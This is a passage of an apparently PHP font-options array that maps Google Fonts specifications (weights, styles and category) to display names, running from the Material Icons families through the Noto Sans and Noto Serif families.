			'"Material Icons", "regular", monospace'                                                                                                                                     => 'Material Icons',
			'"Material Icons Outlined", "regular", monospace'                                                                                                                            => 'Material Icons Outlined',
			'"Material Icons Round", "regular", monospace'                                                                                                                               => 'Material Icons Round',
			'"Material Icons Sharp", "regular", monospace'                                                                                                                               => 'Material Icons Sharp',
			'"Material Icons Two Tone", "regular", monospace'                                                                                                                            => 'Material Icons Two Tone',
			'"Material Symbols Outlined", "100:200:300:regular:500:600:700", monospace'                                                                                                  => 'Material Symbols Outlined',
			'"Material Symbols Rounded", "100:200:300:regular:500:600:700", monospace'                                                                                                   => 'Material Symbols Rounded',
			'"Material Symbols Sharp", "100:200:300:regular:500:600:700", monospace'                                                                                                     => 'Material Symbols Sharp',
			'"Maven Pro", "regular:500:600:700:800:900", sans-serif'                                                                                                                     => 'Maven Pro',
			'"McLaren", "regular", display'                                                                                                                                              => 'McLaren',
			'"Mea Culpa", "regular", handwriting'                                                                                                                                        => 'Mea Culpa',
			'"Meddon", "regular", handwriting'                                                                                                                                           => 'Meddon',
			'"MedievalSharp", "regular", display'                                                                                                                                        => 'MedievalSharp',
			'"Medula One", "regular", display'                                                                                                                                           => 'Medula One',
			'"Meera Inimai", "regular", sans-serif'                                                                                                                                      => 'Meera Inimai',
			'"Megrim", "regular", display'                                                                                                                                               => 'Megrim',
			'"Meie Script", "regular", handwriting'                                                                                                                                      => 'Meie Script',
			'"Meow Script", "regular", handwriting'                                                                                                                                      => 'Meow Script',
			'"Merienda", "300:regular:500:600:700:800:900", handwriting'                                                                                                                 => 'Merienda',
			'"Merriweather", "300:300italic:regular:italic:700:700italic:900:900italic", serif'                                                                                          => 'Merriweather',
			'"Merriweather Sans", "300:regular:500:600:700:800:300italic:italic:500italic:600italic:700italic:800italic", sans-serif'                                                    => 'Merriweather Sans',
			'"Metal", "regular", display'                                                                                                                                                => 'Metal',
			'"Metal Mania", "regular", display'                                                                                                                                          => 'Metal Mania',
			'"Metamorphous", "regular", display'                                                                                                                                         => 'Metamorphous',
			'"Metrophobic", "regular", sans-serif'                                                                                                                                       => 'Metrophobic',
			'"Michroma", "regular", sans-serif'                                                                                                                                          => 'Michroma',
			'"Micro 5", "regular", display'                                                                                                                                              => 'Micro 5',
			'"Micro 5 Charted", "regular", display'                                                                                                                                      => 'Micro 5 Charted',
			'"Milonga", "regular", display'                                                                                                                                              => 'Milonga',
			'"Miltonian", "regular", display'                                                                                                                                            => 'Miltonian',
			'"Miltonian Tattoo", "regular", display'                                                                                                                                     => 'Miltonian Tattoo',
			'"Mina", "regular:700", sans-serif'                                                                                                                                          => 'Mina',
			'"Mingzat", "regular", sans-serif'                                                                                                                                           => 'Mingzat',
			'"Miniver", "regular", display'                                                                                                                                              => 'Miniver',
			'"Miriam Libre", "regular:700", sans-serif'                                                                                                                                  => 'Miriam Libre',
			'"Mirza", "regular:500:600:700", serif'                                                                                                                                      => 'Mirza',
			'"Miss Fajardose", "regular", handwriting'                                                                                                                                   => 'Miss Fajardose',
			'"Mitr", "200:300:regular:500:600:700", sans-serif'                                                                                                                          => 'Mitr',
			'"Mochiy Pop One", "regular", sans-serif'                                                                                                                                    => 'Mochiy Pop One',
			'"Mochiy Pop P One", "regular", sans-serif'                                                                                                                                  => 'Mochiy Pop P One',
			'"Modak", "regular", display'                                                                                                                                                => 'Modak',
			'"Modern Antiqua", "regular", display'                                                                                                                                       => 'Modern Antiqua',
			'"Mogra", "regular", display'                                                                                                                                                => 'Mogra',
			'"Mohave", "300:regular:500:600:700:300italic:italic:500italic:600italic:700italic", sans-serif'                                                                             => 'Mohave',
			'"Moirai One", "regular", display'                                                                                                                                           => 'Moirai One',
			'"Molengo", "regular", sans-serif'                                                                                                                                           => 'Molengo',
			'"Molle", "italic", handwriting'                                                                                                                                             => 'Molle',
			'"Monda", "regular:500:600:700", sans-serif'                                                                                                                                 => 'Monda',
			'"Monofett", "regular", monospace'                                                                                                                                           => 'Monofett',
			'"Monomaniac One", "regular", sans-serif'                                                                                                                                    => 'Monomaniac One',
			'"Monoton", "regular", display'                                                                                                                                              => 'Monoton',
			'"Monsieur La Doulaise", "regular", handwriting'                                                                                                                             => 'Monsieur La Doulaise',
			'"Montaga", "regular", serif'                                                                                                                                                => 'Montaga',
			'"Montagu Slab", "100:200:300:regular:500:600:700", serif'                                                                                                                   => 'Montagu Slab',
			'"MonteCarlo", "regular", handwriting'                                                                                                                                       => 'MonteCarlo',
			'"Montez", "regular", handwriting'                                                                                                                                           => 'Montez',
			'"Montserrat", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                 => 'Montserrat',
			'"Montserrat Alternates", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'      => 'Montserrat Alternates',
			'"Montserrat Subrayada", "regular:700", sans-serif'                                                                                                                          => 'Montserrat Subrayada',
			'"Moo Lah Lah", "regular", display'                                                                                                                                          => 'Moo Lah Lah',
			'"Mooli", "regular", sans-serif'                                                                                                                                             => 'Mooli',
			'"Moon Dance", "regular", handwriting'                                                                                                                                       => 'Moon Dance',
			'"Moul", "regular", display'                                                                                                                                                 => 'Moul',
			'"Moulpali", "regular", sans-serif'                                                                                                                                          => 'Moulpali',
			'"Mountains of Christmas", "regular:700", display'                                                                                                                           => 'Mountains of Christmas',
			'"Mouse Memoirs", "regular", sans-serif'                                                                                                                                     => 'Mouse Memoirs',
			'"Mr Bedfort", "regular", handwriting'                                                                                                                                       => 'Mr Bedfort',
			'"Mr Dafoe", "regular", handwriting'                                                                                                                                         => 'Mr Dafoe',
			'"Mr De Haviland", "regular", handwriting'                                                                                                                                   => 'Mr De Haviland',
			'"Mrs Saint Delafield", "regular", handwriting'                                                                                                                              => 'Mrs Saint Delafield',
			'"Mrs Sheppards", "regular", handwriting'                                                                                                                                    => 'Mrs Sheppards',
			'"Ms Madi", "regular", handwriting'                                                                                                                                          => 'Ms Madi',
			'"Mukta", "200:300:regular:500:600:700:800", sans-serif'                                                                                                                     => 'Mukta',
			'"Mukta Mahee", "200:300:regular:500:600:700:800", sans-serif'                                                                                                               => 'Mukta Mahee',
			'"Mukta Malar", "200:300:regular:500:600:700:800", sans-serif'                                                                                                               => 'Mukta Malar',
			'"Mukta Vaani", "200:300:regular:500:600:700:800", sans-serif'                                                                                                               => 'Mukta Vaani',
			'"Mulish", "200:300:regular:500:600:700:800:900:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                                   => 'Mulish',
			'"Murecho", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                           => 'Murecho',
			'"MuseoModerno", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", display'                  => 'MuseoModerno',
			'"My Soul", "regular", handwriting'                                                                                                                                          => 'My Soul',
			'"Mynerve", "regular", handwriting'                                                                                                                                          => 'Mynerve',
			'"Mystery Quest", "regular", display'                                                                                                                                        => 'Mystery Quest',
			'"NTR", "regular", sans-serif'                                                                                                                                               => 'NTR',
			'"Nabla", "regular", display'                                                                                                                                                => 'Nabla',
			'"Namdhinggo", "regular:500:600:700:800", serif'                                                                                                                             => 'Namdhinggo',
			'"Nanum Brush Script", "regular", handwriting'                                                                                                                               => 'Nanum Brush Script',
			'"Nanum Gothic", "regular:700:800", sans-serif'                                                                                                                              => 'Nanum Gothic',
			'"Nanum Gothic Coding", "regular:700", handwriting'                                                                                                                          => 'Nanum Gothic Coding',
			'"Nanum Myeongjo", "regular:700:800", serif'                                                                                                                                 => 'Nanum Myeongjo',
			'"Nanum Pen Script", "regular", handwriting'                                                                                                                                 => 'Nanum Pen Script',
			'"Narnoor", "regular:500:600:700:800", serif'                                                                                                                                => 'Narnoor',
			'"Neonderthaw", "regular", handwriting'                                                                                                                                      => 'Neonderthaw',
			'"Nerko One", "regular", handwriting'                                                                                                                                        => 'Nerko One',
			'"Neucha", "regular", handwriting'                                                                                                                                           => 'Neucha',
			'"Neuton", "200:300:regular:italic:700:800", serif'                                                                                                                          => 'Neuton',
			'"New Rocker", "regular", display'                                                                                                                                           => 'New Rocker',
			'"New Tegomin", "regular", serif'                                                                                                                                            => 'New Tegomin',
			'"News Cycle", "regular:700", sans-serif'                                                                                                                                    => 'News Cycle',
			'"Newsreader", "200:300:regular:500:600:700:800:200italic:300italic:italic:500italic:600italic:700italic:800italic", serif'                                                  => 'Newsreader',
			'"Niconne", "regular", handwriting'                                                                                                                                          => 'Niconne',
			'"Niramit", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", sans-serif'                                                              => 'Niramit',
			'"Nixie One", "regular", display'                                                                                                                                            => 'Nixie One',
			'"Nobile", "regular:italic:500:500italic:700:700italic", sans-serif'                                                                                                         => 'Nobile',
			'"Nokora", "100:300:regular:700:900", sans-serif'                                                                                                                            => 'Nokora',
			'"Norican", "regular", handwriting'                                                                                                                                          => 'Norican',
			'"Nosifer", "regular", display'                                                                                                                                              => 'Nosifer',
			'"Notable", "regular", sans-serif'                                                                                                                                           => 'Notable',
			'"Nothing You Could Do", "regular", handwriting'                                                                                                                             => 'Nothing You Could Do',
			'"Noticia Text", "regular:italic:700:700italic", serif'                                                                                                                      => 'Noticia Text',
			'"Noto Color Emoji", "regular", sans-serif'                                                                                                                                  => 'Noto Color Emoji',
			'"Noto Emoji", "300:regular:500:600:700", sans-serif'                                                                                                                        => 'Noto Emoji',
			'"Noto Kufi Arabic", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                  => 'Noto Kufi Arabic',
			'"Noto Music", "regular", sans-serif'                                                                                                                                        => 'Noto Music',
			'"Noto Naskh Arabic", "regular:500:600:700", serif'                                                                                                                          => 'Noto Naskh Arabic',
			'"Noto Nastaliq Urdu", "regular:500:600:700", serif'                                                                                                                         => 'Noto Nastaliq Urdu',
			'"Noto Rashi Hebrew", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                      => 'Noto Rashi Hebrew',
			'"Noto Sans", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                  => 'Noto Sans',
			'"Noto Sans Adlam", "regular:500:600:700", sans-serif'                                                                                                                       => 'Noto Sans Adlam',
			'"Noto Sans Adlam Unjoined", "regular:500:600:700", sans-serif'                                                                                                              => 'Noto Sans Adlam Unjoined',
			'"Noto Sans Anatolian Hieroglyphs", "regular", sans-serif'                                                                                                                   => 'Noto Sans Anatolian Hieroglyphs',
			'"Noto Sans Arabic", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                  => 'Noto Sans Arabic',
			'"Noto Sans Armenian", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                => 'Noto Sans Armenian',
			'"Noto Sans Avestan", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Avestan',
			'"Noto Sans Balinese", "regular:500:600:700", sans-serif'                                                                                                                    => 'Noto Sans Balinese',
			'"Noto Sans Bamum", "regular:500:600:700", sans-serif'                                                                                                                       => 'Noto Sans Bamum',
			'"Noto Sans Bassa Vah", "regular:500:600:700", sans-serif'                                                                                                                   => 'Noto Sans Bassa Vah',
			'"Noto Sans Batak", "regular", sans-serif'                                                                                                                                   => 'Noto Sans Batak',
			'"Noto Sans Bengali", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                 => 'Noto Sans Bengali',
			'"Noto Sans Bhaiksuki", "regular", sans-serif'                                                                                                                               => 'Noto Sans Bhaiksuki',
			'"Noto Sans Brahmi", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Brahmi',
			'"Noto Sans Buginese", "regular", sans-serif'                                                                                                                                => 'Noto Sans Buginese',
			'"Noto Sans Buhid", "regular", sans-serif'                                                                                                                                   => 'Noto Sans Buhid',
			'"Noto Sans Canadian Aboriginal", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                     => 'Noto Sans Canadian Aboriginal',
			'"Noto Sans Carian", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Carian',
			'"Noto Sans Caucasian Albanian", "regular", sans-serif'                                                                                                                      => 'Noto Sans Caucasian Albanian',
			'"Noto Sans Chakma", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Chakma',
			'"Noto Sans Cham", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                    => 'Noto Sans Cham',
			'"Noto Sans Cherokee", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                => 'Noto Sans Cherokee',
			'"Noto Sans Chorasmian", "regular", sans-serif'                                                                                                                              => 'Noto Sans Chorasmian',
			'"Noto Sans Coptic", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Coptic',
			'"Noto Sans Cuneiform", "regular", sans-serif'                                                                                                                               => 'Noto Sans Cuneiform',
			'"Noto Sans Cypriot", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Cypriot',
			'"Noto Sans Cypro Minoan", "regular", sans-serif'                                                                                                                            => 'Noto Sans Cypro Minoan',
			'"Noto Sans Deseret", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Deseret',
			'"Noto Sans Devanagari", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                              => 'Noto Sans Devanagari',
			'"Noto Sans Display", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'          => 'Noto Sans Display',
			'"Noto Sans Duployan", "regular:700", sans-serif'                                                                                                                            => 'Noto Sans Duployan',
			'"Noto Sans Egyptian Hieroglyphs", "regular", sans-serif'                                                                                                                    => 'Noto Sans Egyptian Hieroglyphs',
			'"Noto Sans Elbasan", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Elbasan',
			'"Noto Sans Elymaic", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Elymaic',
			'"Noto Sans Ethiopic", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                => 'Noto Sans Ethiopic',
			'"Noto Sans Georgian", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                => 'Noto Sans Georgian',
			'"Noto Sans Glagolitic", "regular", sans-serif'                                                                                                                              => 'Noto Sans Glagolitic',
			'"Noto Sans Gothic", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Gothic',
			'"Noto Sans Grantha", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Grantha',
			'"Noto Sans Gujarati", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                => 'Noto Sans Gujarati',
			'"Noto Sans Gunjala Gondi", "regular:500:600:700", sans-serif'                                                                                                               => 'Noto Sans Gunjala Gondi',
			'"Noto Sans Gurmukhi", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                => 'Noto Sans Gurmukhi',
			'"Noto Sans HK", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                      => 'Noto Sans HK',
			'"Noto Sans Hanifi Rohingya", "regular:500:600:700", sans-serif'                                                                                                             => 'Noto Sans Hanifi Rohingya',
			'"Noto Sans Hanunoo", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Hanunoo',
			'"Noto Sans Hatran", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Hatran',
			'"Noto Sans Hebrew", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                  => 'Noto Sans Hebrew',
			'"Noto Sans Imperial Aramaic", "regular", sans-serif'                                                                                                                        => 'Noto Sans Imperial Aramaic',
			'"Noto Sans Indic Siyaq Numbers", "regular", sans-serif'                                                                                                                     => 'Noto Sans Indic Siyaq Numbers',
			'"Noto Sans Inscriptional Pahlavi", "regular", sans-serif'                                                                                                                   => 'Noto Sans Inscriptional Pahlavi',
			'"Noto Sans Inscriptional Parthian", "regular", sans-serif'                                                                                                                  => 'Noto Sans Inscriptional Parthian',
			'"Noto Sans JP", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                      => 'Noto Sans JP',
			'"Noto Sans Javanese", "regular:500:600:700", sans-serif'                                                                                                                    => 'Noto Sans Javanese',
			'"Noto Sans KR", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                      => 'Noto Sans KR',
			'"Noto Sans Kaithi", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Kaithi',
			'"Noto Sans Kannada", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                 => 'Noto Sans Kannada',
			'"Noto Sans Kawi", "regular:500:600:700", sans-serif'                                                                                                                        => 'Noto Sans Kawi',
			'"Noto Sans Kayah Li", "regular:500:600:700", sans-serif'                                                                                                                    => 'Noto Sans Kayah Li',
			'"Noto Sans Kharoshthi", "regular", sans-serif'                                                                                                                              => 'Noto Sans Kharoshthi',
			'"Noto Sans Khmer", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                   => 'Noto Sans Khmer',
			'"Noto Sans Khojki", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Khojki',
			'"Noto Sans Khudawadi", "regular", sans-serif'                                                                                                                               => 'Noto Sans Khudawadi',
			'"Noto Sans Lao", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                     => 'Noto Sans Lao',
			'"Noto Sans Lao Looped", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                              => 'Noto Sans Lao Looped',
			'"Noto Sans Lepcha", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Lepcha',
			'"Noto Sans Limbu", "regular", sans-serif'                                                                                                                                   => 'Noto Sans Limbu',
			'"Noto Sans Linear A", "regular", sans-serif'                                                                                                                                => 'Noto Sans Linear A',
			'"Noto Sans Linear B", "regular", sans-serif'                                                                                                                                => 'Noto Sans Linear B',
			'"Noto Sans Lisu", "regular:500:600:700", sans-serif'                                                                                                                        => 'Noto Sans Lisu',
			'"Noto Sans Lycian", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Lycian',
			'"Noto Sans Lydian", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Lydian',
			'"Noto Sans Mahajani", "regular", sans-serif'                                                                                                                                => 'Noto Sans Mahajani',
			'"Noto Sans Malayalam", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                               => 'Noto Sans Malayalam',
			'"Noto Sans Mandaic", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Mandaic',
			'"Noto Sans Manichaean", "regular", sans-serif'                                                                                                                              => 'Noto Sans Manichaean',
			'"Noto Sans Marchen", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Marchen',
			'"Noto Sans Masaram Gondi", "regular", sans-serif'                                                                                                                           => 'Noto Sans Masaram Gondi',
			'"Noto Sans Math", "regular", sans-serif'                                                                                                                                    => 'Noto Sans Math',
			'"Noto Sans Mayan Numerals", "regular", sans-serif'                                                                                                                          => 'Noto Sans Mayan Numerals',
			'"Noto Sans Medefaidrin", "regular:500:600:700", sans-serif'                                                                                                                 => 'Noto Sans Medefaidrin',
			'"Noto Sans Meetei Mayek", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                            => 'Noto Sans Meetei Mayek',
			'"Noto Sans Mende Kikakui", "regular", sans-serif'                                                                                                                           => 'Noto Sans Mende Kikakui',
			'"Noto Sans Meroitic", "regular", sans-serif'                                                                                                                                => 'Noto Sans Meroitic',
			'"Noto Sans Miao", "regular", sans-serif'                                                                                                                                    => 'Noto Sans Miao',
			'"Noto Sans Modi", "regular", sans-serif'                                                                                                                                    => 'Noto Sans Modi',
			'"Noto Sans Mongolian", "regular", sans-serif'                                                                                                                               => 'Noto Sans Mongolian',
			'"Noto Sans Mono", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                    => 'Noto Sans Mono',
			'"Noto Sans Mro", "regular", sans-serif'                                                                                                                                     => 'Noto Sans Mro',
			'"Noto Sans Multani", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Multani',
			'"Noto Sans Myanmar", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                 => 'Noto Sans Myanmar',
			'"Noto Sans NKo", "regular", sans-serif'                                                                                                                                     => 'Noto Sans NKo',
			'"Noto Sans NKo Unjoined", "regular:500:600:700", sans-serif'                                                                                                                => 'Noto Sans NKo Unjoined',
			'"Noto Sans Nabataean", "regular", sans-serif'                                                                                                                               => 'Noto Sans Nabataean',
			'"Noto Sans Nag Mundari", "regular:500:600:700", sans-serif'                                                                                                                 => 'Noto Sans Nag Mundari',
			'"Noto Sans Nandinagari", "regular", sans-serif'                                                                                                                             => 'Noto Sans Nandinagari',
			'"Noto Sans New Tai Lue", "regular:500:600:700", sans-serif'                                                                                                                 => 'Noto Sans New Tai Lue',
			'"Noto Sans Newa", "regular", sans-serif'                                                                                                                                    => 'Noto Sans Newa',
			'"Noto Sans Nushu", "regular", sans-serif'                                                                                                                                   => 'Noto Sans Nushu',
			'"Noto Sans Ogham", "regular", sans-serif'                                                                                                                                   => 'Noto Sans Ogham',
			'"Noto Sans Ol Chiki", "regular:500:600:700", sans-serif'                                                                                                                    => 'Noto Sans Ol Chiki',
			'"Noto Sans Old Hungarian", "regular", sans-serif'                                                                                                                           => 'Noto Sans Old Hungarian',
			'"Noto Sans Old Italic", "regular", sans-serif'                                                                                                                              => 'Noto Sans Old Italic',
			'"Noto Sans Old North Arabian", "regular", sans-serif'                                                                                                                       => 'Noto Sans Old North Arabian',
			'"Noto Sans Old Permic", "regular", sans-serif'                                                                                                                              => 'Noto Sans Old Permic',
			'"Noto Sans Old Persian", "regular", sans-serif'                                                                                                                             => 'Noto Sans Old Persian',
			'"Noto Sans Old Sogdian", "regular", sans-serif'                                                                                                                             => 'Noto Sans Old Sogdian',
			'"Noto Sans Old South Arabian", "regular", sans-serif'                                                                                                                       => 'Noto Sans Old South Arabian',
			'"Noto Sans Old Turkic", "regular", sans-serif'                                                                                                                              => 'Noto Sans Old Turkic',
			'"Noto Sans Oriya", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                   => 'Noto Sans Oriya',
			'"Noto Sans Osage", "regular", sans-serif'                                                                                                                                   => 'Noto Sans Osage',
			'"Noto Sans Osmanya", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Osmanya',
			'"Noto Sans Pahawh Hmong", "regular", sans-serif'                                                                                                                            => 'Noto Sans Pahawh Hmong',
			'"Noto Sans Palmyrene", "regular", sans-serif'                                                                                                                               => 'Noto Sans Palmyrene',
			'"Noto Sans Pau Cin Hau", "regular", sans-serif'                                                                                                                             => 'Noto Sans Pau Cin Hau',
			'"Noto Sans Phags Pa", "regular", sans-serif'                                                                                                                                => 'Noto Sans Phags Pa',
			'"Noto Sans Phoenician", "regular", sans-serif'                                                                                                                              => 'Noto Sans Phoenician',
			'"Noto Sans Psalter Pahlavi", "regular", sans-serif'                                                                                                                         => 'Noto Sans Psalter Pahlavi',
			'"Noto Sans Rejang", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Rejang',
			'"Noto Sans Runic", "regular", sans-serif'                                                                                                                                   => 'Noto Sans Runic',
			'"Noto Sans SC", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                      => 'Noto Sans SC',
			'"Noto Sans Samaritan", "regular", sans-serif'                                                                                                                               => 'Noto Sans Samaritan',
			'"Noto Sans Saurashtra", "regular", sans-serif'                                                                                                                              => 'Noto Sans Saurashtra',
			'"Noto Sans Sharada", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Sharada',
			'"Noto Sans Shavian", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Shavian',
			'"Noto Sans Siddham", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Siddham',
			'"Noto Sans SignWriting", "regular", sans-serif'                                                                                                                             => 'Noto Sans SignWriting',
			'"Noto Sans Sinhala", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                 => 'Noto Sans Sinhala',
			'"Noto Sans Sogdian", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Sogdian',
			'"Noto Sans Sora Sompeng", "regular:500:600:700", sans-serif'                                                                                                                => 'Noto Sans Sora Sompeng',
			'"Noto Sans Soyombo", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Soyombo',
			'"Noto Sans Sundanese", "regular:500:600:700", sans-serif'                                                                                                                   => 'Noto Sans Sundanese',
			'"Noto Sans Syloti Nagri", "regular", sans-serif'                                                                                                                            => 'Noto Sans Syloti Nagri',
			'"Noto Sans Symbols", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                 => 'Noto Sans Symbols',
			'"Noto Sans Symbols 2", "regular", sans-serif'                                                                                                                               => 'Noto Sans Symbols 2',
			'"Noto Sans Syriac", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                  => 'Noto Sans Syriac',
			'"Noto Sans Syriac Eastern", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                          => 'Noto Sans Syriac Eastern',
			'"Noto Sans TC", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                      => 'Noto Sans TC',
			'"Noto Sans Tagalog", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Tagalog',
			'"Noto Sans Tagbanwa", "regular", sans-serif'                                                                                                                                => 'Noto Sans Tagbanwa',
			'"Noto Sans Tai Le", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Tai Le',
			'"Noto Sans Tai Tham", "regular:500:600:700", sans-serif'                                                                                                                    => 'Noto Sans Tai Tham',
			'"Noto Sans Tai Viet", "regular", sans-serif'                                                                                                                                => 'Noto Sans Tai Viet',
			'"Noto Sans Takri", "regular", sans-serif'                                                                                                                                   => 'Noto Sans Takri',
			'"Noto Sans Tamil", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                   => 'Noto Sans Tamil',
			'"Noto Sans Tamil Supplement", "regular", sans-serif'                                                                                                                        => 'Noto Sans Tamil Supplement',
			'"Noto Sans Tangsa", "regular:500:600:700", sans-serif'                                                                                                                      => 'Noto Sans Tangsa',
			'"Noto Sans Telugu", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                  => 'Noto Sans Telugu',
			'"Noto Sans Thaana", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                  => 'Noto Sans Thaana',
			'"Noto Sans Thai", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                    => 'Noto Sans Thai',
			'"Noto Sans Thai Looped", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                             => 'Noto Sans Thai Looped',
			'"Noto Sans Tifinagh", "regular", sans-serif'                                                                                                                                => 'Noto Sans Tifinagh',
			'"Noto Sans Tirhuta", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Tirhuta',
			'"Noto Sans Ugaritic", "regular", sans-serif'                                                                                                                                => 'Noto Sans Ugaritic',
			'"Noto Sans Vai", "regular", sans-serif'                                                                                                                                     => 'Noto Sans Vai',
			'"Noto Sans Vithkuqi", "regular:500:600:700", sans-serif'                                                                                                                    => 'Noto Sans Vithkuqi',
			'"Noto Sans Wancho", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Wancho',
			'"Noto Sans Warang Citi", "regular", sans-serif'                                                                                                                             => 'Noto Sans Warang Citi',
			'"Noto Sans Yi", "regular", sans-serif'                                                                                                                                      => 'Noto Sans Yi',
			'"Noto Sans Zanabazar Square", "regular", sans-serif'                                                                                                                        => 'Noto Sans Zanabazar Square',
			'"Noto Serif", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                      => 'Noto Serif',
			'"Noto Serif Ahom", "regular", serif'                                                                                                                                        => 'Noto Serif Ahom',
			'"Noto Serif Armenian", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                    => 'Noto Serif Armenian',
			'"Noto Serif Balinese", "regular", serif'                                                                                                                                    => 'Noto Serif Balinese',
			'"Noto Serif Bengali", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                     => 'Noto Serif Bengali',
			'"Noto Serif Devanagari", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                  => 'Noto Serif Devanagari',
			'"Noto Serif Display", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'              => 'Noto Serif Display',
			'"Noto Serif Dogra", "regular", serif'                                                                                                                                       => 'Noto Serif Dogra',
			'"Noto Serif Ethiopic", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                    => 'Noto Serif Ethiopic',
			'"Noto Serif Georgian", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                    => 'Noto Serif Georgian',
			'"Noto Serif Grantha", "regular", serif'                                                                                                                                     => 'Noto Serif Grantha',
			'"Noto Serif Gujarati", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                    => 'Noto Serif Gujarati',
			'"Noto Serif Gurmukhi", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                    => 'Noto Serif Gurmukhi',
			'"Noto Serif HK", "200:300:regular:500:600:700:800:900", serif'                                                                                                              => 'Noto Serif HK',
			'"Noto Serif Hebrew", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                      => 'Noto Serif Hebrew',
			'"Noto Serif JP", "200:300:regular:500:600:700:800:900", serif'                                                                                                              => 'Noto Serif JP',
			'"Noto Serif KR", "200:300:regular:500:600:700:800:900", serif'                                                                                                              => 'Noto Serif KR',
			'"Noto Serif Kannada", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                     => 'Noto Serif Kannada',
			'"Noto Serif Khitan Small Script", "regular", serif'                                                                                                                         => 'Noto Serif Khitan Small Script',
			'"Noto Serif Khmer", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                       => 'Noto Serif Khmer',
			'"Noto Serif Khojki", "regular:500:600:700", serif'                                                                                                                          => 'Noto Serif Khojki',
